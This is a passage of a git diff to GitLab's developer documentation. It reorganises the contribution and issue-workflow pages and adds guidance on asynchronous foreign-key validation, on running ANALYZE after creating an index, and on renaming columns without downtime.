architecture](architecture.md#adapting-existing-and-introducing-new-components). Ensure that we support object storage for any file storage we need to perform. For more information, see the [uploads documentation](uploads/index.md). diff --git a/doc/development/contributing/community_roles.md b/doc/development/contributing/community_roles.md index 8aa219d72a1..3c9362138c2 100644 --- a/doc/development/contributing/community_roles.md +++ b/doc/development/contributing/community_roles.md @@ -1,18 +1,11 @@ --- -stage: none -group: Development -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +redirect_to: 'index.md' +remove_date: '2023-05-08' --- -# Community members & roles +This document was moved to [another location](index.md). -GitLab community members and their privileges/responsibilities. - -| Roles | Responsibilities | Requirements | -|-------|------------------|--------------| -| Maintainer | Accepts merge requests on several GitLab projects | Added to the [team page](https://about.gitlab.com/company/team/). An expert on code reviews and knows the product/codebase | -| Reviewer | Performs code reviews on MRs | Added to the [team page](https://about.gitlab.com/company/team/) | -| Developer | Has access to GitLab internal infrastructure & issues (for example, HR-related) | GitLab employee or a Core Team member (with an NDA) | -| Contributor | Can make contributions to all GitLab public projects | Have a GitLab.com account | - -[List of current reviewers/maintainers](https://about.gitlab.com/handbook/engineering/projects/#gitlab). +<!-- This redirect file can be deleted after <2023-05-08>. --> +<!-- Redirects that point to other docs in the same project expire in three months. --> +<!-- Redirects that point to docs in a different project or site (for example, link is not relative and starts with `https:`) expire in one year. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/redirects.html --> diff --git a/doc/development/contributing/index.md b/doc/development/contributing/index.md index 1a5b801a95a..55827e00e43 100644 --- a/doc/development/contributing/index.md +++ b/doc/development/contributing/index.md @@ -23,63 +23,14 @@ GitLab comes in two flavors: Throughout this guide you will see references to CE and EE for abbreviation. -To get an overview of GitLab community membership, including those that would review or merge -your contributions, visit [the community roles page](community_roles.md). - -## Security vulnerability disclosure - -Report suspected security vulnerabilities by following the -[disclosure process on the GitLab.com website](https://about.gitlab.com/security/disclosure/). - -WARNING: -Do **not** create publicly viewable issues for suspected security vulnerabilities. - ## Code of conduct We want to create a welcoming environment for everyone who is interested in contributing. -Visit our [Code of Conduct page](https://about.gitlab.com/community/contribute/code-of-conduct/) to learn more about our commitment to an open and welcoming environment. - -## Closing policy for issues and merge requests - -GitLab is a popular open source project and the capacity to deal with issues -and merge requests is limited. Out of respect for our volunteers, issues and -merge requests not in line with the guidelines listed in this document may be -closed without notice. - -Treat our volunteers with courtesy and respect, it will go a long way -towards getting your issue resolved. +For more information about our commitment to an open and welcoming environment, see our [Code of Conduct page](https://about.gitlab.com/community/contribute/code-of-conduct/). Issues and merge requests should be in English and contain appropriate language for audiences of all ages. -If a contributor is no longer actively working on a submitted merge request, -we can: - -- Decide that the merge request will be finished by one of our - [Merge request coaches](https://about.gitlab.com/company/team/). -- Close the merge request. - -We make this decision based on how important the change is for our product vision. If a merge -request coach is going to finish the merge request, we assign the -`~coach will finish` label. - -When a team member picks up a community contribution, -we credit the original author by adding a changelog entry crediting the author -and optionally include the original author on at least one of the commits -within the MR. - -## Closing policy for inactive bugs - -GitLab values the time spent by contributors on reporting bugs. However, if a bug remains inactive for a very long period, -it will qualify for auto-closure. Please refer to the [auto-close inactive bugs](https://about.gitlab.com/handbook/engineering/quality/triage-operations/#auto-close-inactive-bugs) section in our handbook to understand the complete workflow. - -## Helping others - -Help other GitLab users when you can. -The methods people use to seek help can be found on the [getting help page](https://about.gitlab.com/get-help/). - -Sign up for the mailing list, answer GitLab questions on StackOverflow or respond in the IRC channel. - ## How to contribute If you would like to contribute to GitLab: @@ -94,26 +45,6 @@ If you would like to contribute to GitLab: could speed them up. - Consult the [Contribution Flow](#contribution-flow) section to learn the process. -### Communication channels - -If you have any questions or need help, visit [Getting Help](https://about.gitlab.com/get-help/) to learn how to -communicate with the GitLab community. GitLab prefers [asynchronous communication](https://about.gitlab.com/handbook/communication/#internal-communication) over real-time communication. - -We do encourage you to connect and hang out with us. GitLab has a Gitter room dedicated for [contributors](https://gitter.im/gitlab/contributors), which is bridged with our -internal Slack. We actively monitor this channel. There is also a community-run [Discord server](https://discord.gg/gitlab) where you can -find other contributors in the `#contributors` channel. - -Thanks for your contribution! - -### GitLab Development Kit - -The GitLab Development Kit (GDK) helps contributors run a local GitLab instance with all the -required dependencies. It can be used to test changes to GitLab and related projects before raising -a Merge Request. - -For more information, see the [`gitlab-development-kit`](https://gitlab.com/gitlab-org/gitlab-development-kit) -project. - ### Contribution flow The general flow of contributing to GitLab is: @@ -194,7 +125,6 @@ If you are not sure who to mention, the reviewer will do this for you early in t This [documentation](issue_workflow.md) outlines the current issue workflow: -- [Issue tracker guidelines](issue_workflow.md#issue-tracker-guidelines) - [Issue triaging](issue_workflow.md#issue-triaging) - [Labels](issue_workflow.md#labels) - [Feature proposals](issue_workflow.md#feature-proposals) @@ -212,21 +142,17 @@ This [documentation](merge_request_workflow.md) outlines the current merge reque - [Definition of done](merge_request_workflow.md#definition-of-done) - [Dependencies](merge_request_workflow.md#dependencies) -## Style guides - -This [documentation](style_guides.md) outlines the current style guidelines. - -## Implement design & UI elements - -This [design documentation](design.md) outlines the current process for implementing design and UI -elements. - -## Contribute documentation +## Closing policy for issues and merge requests -For information on how to contribute documentation, see GitLab -[documentation guidelines](../documentation/index.md). +- For the criteria for closing issues, see [the Issue Triage handbook page](https://about.gitlab.com/handbook/engineering/quality/issue-triage/#outdated-issues). +- For the criteria for closing merge requests, see [the Merge Request Workflow](merge_request_workflow.md). ## Getting an Enterprise Edition License If you need a license for contributing to an EE-feature, see [relevant information](https://about.gitlab.com/handbook/marketing/community-relations/code-contributor-program/operations/#contributing-to-the-gitlab-enterprise-edition-ee). + +## Finding help + +- [Get help](https://about.gitlab.com/get-help/). +- Join the community-run [Discord server](https://discord.com/invite/gitlab) and find other contributors in the `#contribute` channel. diff --git a/doc/development/contributing/issue_workflow.md b/doc/development/contributing/issue_workflow.md index 9058eded2c7..b55fef25302 100644 --- a/doc/development/contributing/issue_workflow.md +++ b/doc/development/contributing/issue_workflow.md @@ -7,15 +7,19 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Issues workflow -## Issue tracker guidelines +**Before you submit an issue, [search the issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues)** +for similar entries. Someone else might have already had the same bug or feature proposal. +If you find an existing issue, show your support with an award emoji and add your notes to the discussion. -**[Search the issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues)** for similar entries before -submitting your own, there's a good chance somebody else had the same issue or -feature proposal. Show your support with an award emoji and/or join the -discussion. +To submit a bug: -Please submit bugs using the ['Bug' issue template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/Bug.md) provided on the issue tracker. -The text in the comments (`<!-- ... -->`) is there to help you with what to include. +- Use the ['Bug' issue template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/Bug.md). + The text in the comments (`<!-- ... -->`) should help you with which information to include. +- To report a suspected security vulnerability, follow the + [disclosure process on the GitLab.com website](https://about.gitlab.com/security/disclosure/). + +WARNING: +Do **not** create publicly viewable issues for suspected security vulnerabilities. ## Issue triaging diff --git a/doc/development/contributing/merge_request_workflow.md b/doc/development/contributing/merge_request_workflow.md index ac3afa14b81..01bfdae5999 100644 --- a/doc/development/contributing/merge_request_workflow.md +++ b/doc/development/contributing/merge_request_workflow.md @@ -13,8 +13,23 @@ for community contributions have the [`Seeking community contributions`](issue_w label, but you are free to contribute to any issue you want. If an issue is marked for the current milestone at any time, even -when you are working on it, a GitLab Inc. team member may take over the merge request -to ensure the work is finished before the release date. +when you are working on it, a GitLab team member may take over the merge request to ensure the work is finished before the release date. + +If a contributor is no longer actively working on a submitted merge request, +we can: + +- Decide that the merge request will be finished by one of our + [Merge request coaches](https://about.gitlab.com/company/team/). +- Close the merge request. + +We make this decision based on how important the change is for our product vision. If a merge +request coach is going to finish the merge request, we assign the +`~coach will finish` label. + +When a team member picks up a community contribution, +we credit the original author by adding a changelog entry crediting the author +and optionally include the original author on at least one of the commits +within the MR. If you want to add a new feature that is not labeled, it is best to first create an issue (if there isn't one already) and leave a comment asking for it @@ -117,7 +132,7 @@ Commit messages should follow the guidelines below, for reasons explained by Chr - The commit subject or body must not contain Emojis. - Commits that change 30 or more lines across at least 3 files should describe these changes in the commit body. -- Use issues and merge requests' full URLs instead of short references, +- Use issues, milestones, and merge requests' full URLs instead of short references, as they are displayed as plain text outside of GitLab. - The merge request should not contain more than 10 commit messages. - The commit subject should contain at least 3 words. @@ -213,7 +228,7 @@ To reach the definition of done, the merge request must create no regressions an - Verified as working in production on GitLab.com. - Verified as working for self-managed instances. -- Verified as supporting [Geo](../../administration/geo/index.md) via the [self-service framework](../geo/framework.md). To learn more see [here](../geo/framework.md#geo-is-a-requirement-in-the-definition-of-done). +- Verified as supporting [Geo](../../administration/geo/index.md) through the [self-service framework](../geo/framework.md). For more information, see [Geo is a requirement in the definition of done](../geo/framework.md#geo-is-a-requirement-in-the-definition-of-done). If a regression occurs, we prefer you revert the change. Your contribution is *incomplete* until you have made sure it meets all of these @@ -224,8 +239,8 @@ requirements. 1. Working and clean code that is commented where needed. 1. The change is evaluated to [limit the impact of far-reaching work](https://about.gitlab.com/handbook/engineering/development/#reducing-the-impact-of-far-reaching-work). 1. [Performance guidelines](../merge_request_concepts/performance.md) have been followed. -1. [Secure coding guidelines](https://gitlab.com/gitlab-com/gl-security/security-guidelines) have been followed. -1. [Application and rate limit guidelines](../merge_request_application_and_rate_limit_guidelines.md) have been followed. +1. [Secure coding guidelines](../secure_coding_guidelines.md) have been followed. +1. [Application and rate limit guidelines](../merge_request_concepts/rate_limits.md) have been followed. 1. [Documented](../documentation/index.md) in the `/doc` directory. 1. If your MR touches code that executes shell commands, reads or opens files, or handles paths to files on disk, make sure it adheres to the diff --git a/doc/development/contributing/style_guides.md b/doc/development/contributing/style_guides.md index 0a030d1f3bc..28ce8e6ff4b 100644 --- a/doc/development/contributing/style_guides.md +++ b/doc/development/contributing/style_guides.md @@ -9,15 +9,16 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Editor/IDE styling standardization -We use [EditorConfig](https://editorconfig.org/) to automatically apply certain styling -standards before files are saved locally. Most editors/IDEs will honor the `.editorconfig` -settings automatically by default. If your editor/IDE does not automatically support `.editorconfig`, -we suggest investigating to see if a plugin exists. For instance here is the +We use [EditorConfig](https://editorconfig.org/) to automatically apply certain styling standards before files are saved +locally. Some editors and IDEs honor the `.editorconfig` settings [automatically by default](https://editorconfig.org/#pre-installed). + +If your editor or IDE does not automatically support `.editorconfig`, we suggest investigating to +[see if a plugin exists](https://editorconfig.org/#download). For example, a [plugin for vim](https://github.com/editorconfig/editorconfig-vim). ## Pre-push static analysis with Lefthook -[Lefthook](https://github.com/Arkweid/lefthook) is a Git hooks manager that allows +[Lefthook](https://github.com/evilmartians/lefthook) is a Git hooks manager that allows custom logic to be executed prior to Git committing or pushing. GitLab comes with Lefthook configuration (`lefthook.yml`), but it must be installed. @@ -54,7 +55,7 @@ This should return the Lefthook version and the list of executable commands with Lefthook is configured with a combination of: - Project configuration in [`lefthook.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lefthook.yml). -- Any [local configuration](https://github.com/Arkweid/lefthook/blob/master/docs/full_guide.md#local-config). +- Any [local configuration](https://github.com/evilmartians/lefthook/blob/master/README.md#local-config). ### Disable Lefthook temporarily @@ -72,7 +73,7 @@ To run the `pre-push` Git hook, run: bundle exec lefthook run pre-push ``` -For more information, check out [Lefthook documentation](https://github.com/Arkweid/lefthook/blob/master/docs/full_guide.md#run-githook-group-directly). +For more information, check out [Lefthook documentation](https://github.com/evilmartians/lefthook/blob/master/README.md#direct-control). ### Skip Lefthook checks per tag @@ -91,7 +92,7 @@ pre-push: - documentation ``` -For more information, check out [Lefthook documentation](https://github.com/Arkweid/lefthook/blob/master/docs/full_guide.md#skip-some-tags-on-the-fly). +For more information, check out [Lefthook documentation](https://github.com/evilmartians/lefthook/blob/master/docs/configuration.md#exclude_tags). ### Skip or enable a specific Lefthook check @@ -106,7 +107,7 @@ pre-push: skip: false ``` -For more information, check out [Lefthook documentation Skipping commands section](https://github.com/evilmartians/lefthook/blob/master/docs/full_guide.md#skipping-commands). +For more information, check out [Lefthook documentation Skipping commands section](https://github.com/evilmartians/lefthook/blob/master/docs/configuration.md#skip). ## Database migrations @@ -150,8 +151,6 @@ See the dedicated [Documentation Style Guide](../documentation/styleguide/index. ### Guidelines for good practices -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36576/) in GitLab 13.2 as GitLab Development documentation. - *Good practice* examples demonstrate encouraged ways of writing code while comparing with examples of practices to avoid. These examples are labeled as *Bad* or *Good*. In GitLab development guidelines, when presenting the cases, diff --git a/doc/development/database/add_foreign_key_to_existing_column.md b/doc/development/database/add_foreign_key_to_existing_column.md index 07fa8133496..2c2999e69d6 100644 --- a/doc/development/database/add_foreign_key_to_existing_column.md +++ b/doc/development/database/add_foreign_key_to_existing_column.md @@ -143,3 +143,118 @@ class ValidateForeignKeyOnEmailUsers < Gitlab::Database::Migration[2.1] end end ``` + +### Validate the foreign key asynchronously + +For very large tables, foreign key validation can be a challenge to manage when +it runs for many hours. Necessary database operations like `autovacuum` cannot +run, and on GitLab.com, the deployment process is blocked waiting for the +migrations to finish. + +To limit impact on GitLab.com, a process exists to validate them asynchronously +during weekend hours. Due to generally lower traffic and fewer deployments, +FK validation can proceed at a lower level of risk. + +### Schedule foreign key validation for a low-impact time + +1. [Schedule the FK to be validated](#schedule-the-fk-to-be-validated). +1. [Verify the MR was deployed and the FK is valid in production](#verify-the-mr-was-deployed-and-the-fk-is-valid-in-production). +1. [Add a migration to validate the FK synchronously](#add-a-migration-to-validate-the-fk-synchronously). + +### Schedule the FK to be validated + +1. Create a merge request containing a post-deployment migration, which prepares + the foreign key for asynchronous validation. +1. Create a follow-up issue to add a migration that validates the foreign key + synchronously. +1. In the merge request that prepares the asynchronous foreign key, add a + comment mentioning the follow-up issue. + +An example of validating the foreign key using the asynchronous helpers can be +seen in the block below. This migration enters the foreign key name into the +`postgres_async_foreign_key_validations` table. The process that runs on +weekends pulls foreign keys from this table and attempts to validate them. + +```ruby +# in db/post_migrate/ + +FK_NAME = :fk_be5624bf37 + +# TODO: FK to be validated synchronously in issue or merge request +def up + # `some_column` can be an array of columns, and is not mandatory if `name` is supplied. + # `name` takes precedence over other arguments. + prepare_async_foreign_key_validation :ci_builds, :some_column, name: FK_NAME + + # Or in case of partitioned tables, use: + prepare_partitioned_async_foreign_key_validation :p_ci_builds, :some_column, name: FK_NAME +end + +def down + unprepare_async_foreign_key_validation :ci_builds, :some_column, name: FK_NAME + + # Or in case of partitioned tables, use: + unprepare_partitioned_async_foreign_key_validation :p_ci_builds, :some_column, name: FK_NAME +end +``` + +### Verify the MR was deployed and the FK is valid in production + +1. Verify that the post-deploy migration was executed on GitLab.com using ChatOps with + `/chatops run auto_deploy status <merge_sha>`. If the output returns `db/gprd`, + the post-deploy migration has been executed in the production database. For more information, see + [How to determine if a post-deploy migration has been executed on GitLab.com](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/post_deploy_migration/readme.md#how-to-determine-if-a-post-deploy-migration-has-been-executed-on-gitlabcom). +1. Wait until the next week so that the FK can be validated over a weekend. +1. Use [Database Lab](database_lab.md) to check if validation was successful. + Ensure the output does not indicate the foreign key is `NOT VALID`. + +### Add a migration to validate the FK synchronously + +After the foreign key is valid on the production database, create a second +merge request that validates the foreign key synchronously. The schema changes +must be updated and committed to `structure.sql` in this second merge request. +The synchronous migration results in a no-op on GitLab.com, but you should still +add the migration as expected for other installations. The below block +demonstrates how to create the second migration for the previous +asynchronous example. + +WARNING: +Verify that the foreign key is valid in production before merging a second +migration with `validate_foreign_key`. If the second migration is deployed +before the validation has been executed, the foreign key is validated +synchronously when the second migration executes. + +```ruby +# in db/post_migrate/ + + FK_NAME = :fk_be5624bf37 + + def up + validate_foreign_key :ci_builds, :some_column, name: FK_NAME + end + + def down + # Can be safely a no-op if we don't roll back the inconsistent data. + end +end + +``` + +## Test database FK changes locally + +You must test the database foreign key changes locally before creating a merge request. + +### Verify the foreign keys validated asynchronously + +Use the asynchronous helpers on your local environment to test changes for +validating a foreign key: + +1. Enable the feature flags by running `Feature.enable(:database_async_foreign_key_validation)` + and `Feature.enable(:database_reindexing)` in the Rails console. +1. Run `bundle exec rails db:migrate` so that it creates an entry in the async validation table. +1. Run `bundle exec rails gitlab:db:reindex` so that the FK is validated asynchronously. +1. To verify the foreign key, open the PostgreSQL console using the + [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/doc/howto/postgresql.md) + command `gdk psql` and run the command `\d+ table_name` to check that your + foreign key is valid. A successful validation removes `NOT VALID` from + the foreign key definition. diff --git a/doc/development/database/adding_database_indexes.md b/doc/development/database/adding_database_indexes.md index e1d5a7af6d9..1e3a1de9b69 100644 --- a/doc/development/database/adding_database_indexes.md +++ b/doc/development/database/adding_database_indexes.md @@ -214,6 +214,45 @@ def down end ``` +## Analyzing a new index before a batched background migration + +Sometimes it is necessary to add an index to support a [batched background migration](batched_background_migrations.md). +It is commonly done by creating two [post deployment migrations](post_deployment_migrations.md): + +1. Add the new index, often a [temporary index](#temporary-indexes). +1. [Queue the batched background migration](batched_background_migrations.md#queueing). + +In most cases, no additional work is needed. The new index is created and is used +as expected when queuing and executing the batched background migration. + +[Expression indexes](https://www.postgresql.org/docs/current/indexes-expressional.html), +however, do not generate statistics for the new index on creation. Autovacuum +eventually runs `ANALYZE`, and updates the statistics so the new index is used. +Run `ANALYZE` explicitly only if it is needed right after the index +is created, such as in the background migration scenario described above. + +To trigger `ANALYZE` after the index is created, update the index creation migration +to analyze the table: + +```ruby +# in db/post_migrate/ + +INDEX_NAME = 'tmp_index_projects_on_owner_and_lower_name_where_emails_disabled' +TABLE = :projects + +disable_ddl_transaction! + +def up + add_concurrent_index TABLE, '(creator_id, lower(name))', where: 'emails_disabled = false', name: INDEX_NAME + + connection.execute("ANALYZE #{TABLE}") +end +``` + +`ANALYZE` should only be run in post deployment migrations and should not target +[large tables](https://gitlab.com/gitlab-org/gitlab/-/blob/master/rubocop/rubocop-migrations.yml#L3). +If this behavior is needed on a larger table, ask for assistance in the `#database` Slack channel. + ## Indexes for partitioned tables Indexes [cannot be created](https://www.postgresql.org/docs/15/ddl-partitioning.html#DDL-PARTITIONING-DECLARATIVE-MAINTENANCE) @@ -254,7 +293,7 @@ end For very large tables, index creation can be a challenge to manage. While `add_concurrent_index` creates indexes in a way that does not block -normal traffic, it can still be problematic when index creation runs for +ordinary traffic, it can still be problematic when index creation runs for many hours. Necessary database operations like `autovacuum` cannot run, and on GitLab.com, the deployment process is blocked waiting for index creation to finish. @@ -271,8 +310,13 @@ index creation can proceed at a lower level of risk. ### Schedule the index to be created -Create an MR with a post-deployment migration which prepares the index -for asynchronous creation. An example of creating an index using +1. Create a merge request containing a post-deployment migration, which prepares + the index for asynchronous creation. +1. [Create a follow-up issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Synchronous%20Database%20Index) + to add a migration that creates the index synchronously. +1. In the merge request that prepares the asynchronous index, add a comment mentioning the follow-up issue. + +An example of creating an index using the asynchronous index helpers can be seen in the block below. This migration enters the index name and definition into the `postgres_async_indexes` table. The process that runs on weekends pulls indexes from this @@ -283,6 +327,7 @@ table and attempt to create them. INDEX_NAME = 'index_ci_builds_on_some_column' +# TODO: Index to be created synchronously in https://gitlab.com/gitlab-org/gitlab/-/issues/XXXXX def up prepare_async_index :ci_builds, :some_column, name: INDEX_NAME end @@ -351,7 +396,7 @@ Use the asynchronous index helpers on your local environment to test changes for For very large tables, index destruction can be a challenge to manage. While `remove_concurrent_index` removes indexes in a way that does not block -normal traffic, it can still be problematic if index destruction runs for +ordinary traffic, it can still be problematic if index destruction runs for during `autovacuum`. Necessary database operations like `autovacuum` cannot run, and the deployment process on GitLab.com is blocked while waiting for index destruction to finish. @@ -366,8 +411,13 @@ index destruction can proceed at a lower level of risk. ### Schedule the index to be removed -Create an MR with a post-deployment migration which prepares the index -for asynchronous destruction. For example. to destroy an index using +1. Create a merge request containing a post-deployment migration, which prepares + the index for asynchronous destruction. +1. [Create a follow-up issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Synchronous%20Database%20Index) + to add a migration that destroys the index synchronously. +1. In the merge request that prepares the asynchronous index removal, add a comment mentioning the follow-up issue. + +For example, to destroy an index using the asynchronous index helpers: ```ruby @@ -375,6 +425,7 @@ the asynchronous index helpers: INDEX_NAME = 'index_ci_builds_on_some_column' +# TODO: Index to be destroyed synchronously in https://gitlab.com/gitlab-org/gitlab/-/issues/XXXXX def up prepare_async_index_removal :ci_builds, :some_column, name: INDEX_NAME end diff --git a/doc/development/database/avoiding_downtime_in_migrations.md b/doc/development/database/avoiding_downtime_in_migrations.md index bb6e13eff53..8e1eeee7a42 100644 --- a/doc/development/database/avoiding_downtime_in_migrations.md +++ b/doc/development/database/avoiding_downtime_in_migrations.md @@ -6,20 +6,20 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Avoiding downtime in migrations -When working with a database certain operations may require downtime. Since we +When working with a database certain operations may require downtime. As we cannot have downtime in migrations we need to use a set of steps to get the same end result without downtime. This guide describes various operations that may appear to need downtime, their impact, and how to perform them without requiring downtime. -## Dropping Columns +## Dropping columns Removing columns is tricky because running GitLab processes may still be using the columns. To work around this safely, you need three steps in three releases: -1. Ignoring the column (release M) -1. Dropping the column (release M+1) -1. Removing the ignore rule (release M+2) +1. [Ignoring the column](#ignoring-the-column-release-m) (release M) +1. [Dropping the column](#dropping-the-column-release-m1) (release M+1) +1. [Removing the ignore rule](#removing-the-ignore-rule-release-m2) (release M+2) The reason we spread this out across three releases is that dropping a column is a destructive operation that can't be rolled back easily. @@ -27,9 +27,9 @@ a destructive operation that can't be rolled back easily. Following this procedure helps us to make sure there are no deployments to GitLab.com and upgrade processes for self-managed installations that lump together any of these steps. -### Step 1: Ignoring the column (release M) +### Ignoring the column (release M) -The first step is to ignore the column in the application code. This is +The first step is to ignore the column in the application code. This step is necessary because Rails caches the columns and re-uses this cache in various places. This can be done by defining the columns to ignore. For example, to ignore `updated_at` in the User model you'd use the following: @@ -50,7 +50,7 @@ ignore_columns %i[updated_at created_at], remove_with: '12.7', remove_after: '20 If the model exists in CE and EE, the column has to be ignored in the CE model. If the model only exists in EE, then it has to be added there. -We require indication of when it is safe to remove the column ignore with: +We require indication of when it is safe to remove the column ignore rule with: - `remove_with`: set to a GitLab release typically two releases (M+2) after adding the column ignore. @@ -64,7 +64,7 @@ to ignore the column and subsequently remove the column ignore (which would resu In this example, the change to ignore the column went into release 12.5. -### Step 2: Dropping the column (release M+1) +### Dropping the column (release M+1) Continuing our example, dropping the column goes into a _post-deployment_ migration in release 12.6: @@ -74,12 +74,14 @@ Start by creating the **post-deployment migration**: bundle exec rails g post_deployment_migration remove_users_updated_at_column ``` -There are two scenarios that you need to consider -to write a migration that removes a column: +You must consider these scenarios when you write a migration that removes a column: -#### A. The removed column has no indexes or constraints that belong to it +- [The removed column has no indexes or constraints that belong to it](#the-removed-column-has-no-indexes-or-constraints-that-belong-to-it) +- [The removed column has an index or constraint that belongs to it](#the-removed-column-has-an-index-or-constraint-that-belongs-to-it) -In this case, a **transactional migration** can be used. Something as simple as: +#### The removed column has no indexes or constraints that belong to it + +In this case, a **transactional migration** can be used: ```ruby class RemoveUsersUpdatedAtColumn < Gitlab::Database::Migration[2.1] @@ -97,10 +99,10 @@ You can consider [enabling lock retries](../migration_style_guide.md#usage-with- when you run a migration on big tables, because it might take some time to acquire a lock on this table. -#### B. The removed column has an index or constraint that belongs to it +#### The removed column has an index or constraint that belongs to it If the `down` method requires adding back any dropped indexes or constraints, that cannot -be done within a transactional migration, then the migration would look like this: +be done in a transactional migration. The migration would look like this: ```ruby class RemoveUsersUpdatedAtColumn < Gitlab::Database::Migration[2.1] @@ -131,7 +133,7 @@ is used to disable the transaction that wraps the whole migration. You can refer to the page [Migration Style Guide](../migration_style_guide.md) for more information about database migrations. -### Step 3: Removing the ignore rule (release M+2) +### Removing the ignore rule (release M+2) With the next release, in this example 12.7, we set up another merge request to remove the ignore rule. This removes the `ignore_column` line and - if not needed anymore - also the inclusion of `IgnoreableColumns`. @@ -139,18 +141,24 @@ This removes the `ignore_column` line and - if not needed anymore - also the inc This should only get merged with the release indicated with `remove_with` and once the `remove_after` date has passed. -## Renaming Columns +## Renaming columns -Renaming columns the normal way requires downtime as an application may continue +Renaming columns the standard way requires downtime as an application may continue to use the old column names during or after a database migration. To rename a column without requiring downtime, we need two migrations: a regular migration and a post-deployment migration. Both these migrations can go in the same release. +The steps: + +1. [Add the regular migration](#add-the-regular-migration-release-m) (release M) +1. [Ignore the column](#ignore-the-column-release-m) (release M) +1. [Add a post-deployment migration](#add-a-post-deployment-migration-release-m) (release M) +1. [Remove the ignore rule](#remove-the-ignore-rule-release-m1) (release M+1) NOTE: It's not possible to rename columns with default values. For more details, see [this merge request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52032#default-values). -### Step 1: Add The Regular Migration +### Add the regular migration (release M) First we need to create the regular migration. This migration should use `Gitlab::Database::MigrationHelpers#rename_column_concurrently` to perform the @@ -178,7 +186,20 @@ If a column contains one or more indexes that don't contain the name of the original column, the previously described procedure fails. In that case, you need to rename these indexes. -### Step 2: Add A Post-Deployment Migration +### Ignore the column (release M) + +The next step is to ignore the column in the application code, and make sure it is not used. This step is +necessary because Rails caches the columns and re-uses this cache in various places. +This step is similar to [the first step when column is dropped](#ignoring-the-column-release-m), and the same requirements apply. + +```ruby +class User < ApplicationRecord + include IgnorableColumns + ignore_column :updated_at, remove_with: '12.7', remove_after: '2020-01-22' +end +``` + +### Add a post-deployment migration (release M) The renaming procedure requires some cleaning up in a post-deployment migration. We can perform this cleanup using @@ -202,7 +223,11 @@ end If you're renaming a [large table](https://gitlab.com/gitlab-org/gitlab/-/blob/master/rubocop/rubocop-migrations.yml#L3), carefully consider the state when the first migration has run but the second cleanup migration hasn't been run yet. With [Canary](https://gitlab.com/gitlab-com/gl-infra/readiness/-/tree/master/library/canary/) it is possible that the system runs in this state for a significant amount of time. -## Changing Column Constraints +### Remove the ignore rule (release M+1) + +Same as when column is dropped, after the rename is completed, we need to [remove the ignore rule](#removing-the-ignore-rule-release-m2) in a subsequent release. + +## Changing column constraints Adding or removing a `NOT NULL` clause (or another constraint) can typically be done without requiring downtime. However, this does require that any application @@ -218,14 +243,18 @@ You can check the following guides for each specific use case: - [Adding `NOT NULL` constraints](not_null_constraints.md) - [Adding limits to text columns](strings_and_the_text_data_type.md) -## Changing Column Types +## Changing column types Changing the type of a column can be done using `Gitlab::Database::MigrationHelpers#change_column_type_concurrently`. This method works similarly to `rename_column_concurrently`. For example, let's say -we want to change the type of `users.username` from `string` to `text`. +we want to change the type of `users.username` from `string` to `text`: + +1. [Create a regular migration](#create-a-regular-migration) +1. [Create a post-deployment migration](#create-a-post-deployment-migration) +1. [Casting data to a new type](#casting-data-to-a-new-type) -### Step 1: Create A Regular Migration +### Create a regular migration A regular migration is used to create a new column with a temporary name along with setting up some triggers to keep data in sync. Such a migration would look @@ -246,7 +275,7 @@ class ChangeUsersUsernameStringToText < Gitlab::Database::Migration[2.1] end ``` -### Step 2: Create A Post Deployment Migration +### Create a post-deployment migration Next we need to clean up our changes using a post-deployment migration: @@ -293,13 +322,13 @@ specify the old default. Doing this requires steps in two minor releases: -1. Add the `SafelyChangeColumnDefault` concern to the model and change the default in a post-migration. -1. Clean up the `SafelyChangeColumnDefault` concern in the next minor release. +1. [Add the `SafelyChangeColumnDefault` concern to the model](#add-the-safelychangecolumndefault-concern-to-the-model-and-change-the-default-in-a-post-migration) and change the default in a post-migration. +1. [Clean up the `SafelyChangeColumnDefault` concern](#clean-up-the-safelychangecolumndefault-concern-in-the-next-minor-release) in the next minor release. We must wait a minor release before cleaning up the `SafelyChangeColumnDefault` because self-managed releases bundle an entire minor release into a single zero-downtime deployment. -### Step 1: Add the `SafelyChangeColumnDefault` concern to the model and change the default in a post-migration +### Add the `SafelyChangeColumnDefault` concern to the model and change the default in a post-migration The first step is to mark the column as safe to change in application code. @@ -333,12 +362,12 @@ You can consider [enabling lock retries](../migration_style_guide.md#usage-with- when you run a migration on big tables, because it might take some time to acquire a lock on this table. -### Step 2: Clean up the `SafelyChangeColumnDefault` concern in the next minor release +### Clean up the `SafelyChangeColumnDefault` concern in the next minor release In the next minor release, create a new merge request to remove the `columns_changing_default` call. Also remove the `SafelyChangeColumnDefault` include if it is not needed for a different column. -## Changing The Schema For Large Tables +## Changing the schema for large tables While `change_column_type_concurrently` and `rename_column_concurrently` can be used for changing the schema of a table without downtime, it doesn't work very @@ -354,7 +383,7 @@ down deployments. For more information, see [the documentation on cleaning up batched background migrations](batched_background_migrations.md#cleaning-up). -## Adding Indexes +## Adding indexes Adding indexes does not require downtime when `add_concurrent_index` is used. @@ -362,15 +391,15 @@ is used. See also [Migration Style Guide](../migration_style_guide.md#adding-indexes) for more information. -## Dropping Indexes +## Dropping indexes Dropping an index does not require downtime. -## Adding Tables +## Adding tables This operation is safe as there's no code using the table just yet. -## Dropping Tables +## Dropping tables Dropping tables can be done safely using a post-deployment migration, but only if the application no longer uses the table. @@ -378,7 +407,7 @@ if the application no longer uses the table. Add the table to [`db/docs/deleted_tables`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/db/docs/deleted_tables) using the process described in [database dictionary](database_dictionary.md#dropping-tables). Even though the table is deleted, it is still referenced in database migrations. -## Renaming Tables +## Renaming tables Renaming tables requires downtime as an application may continue using the old 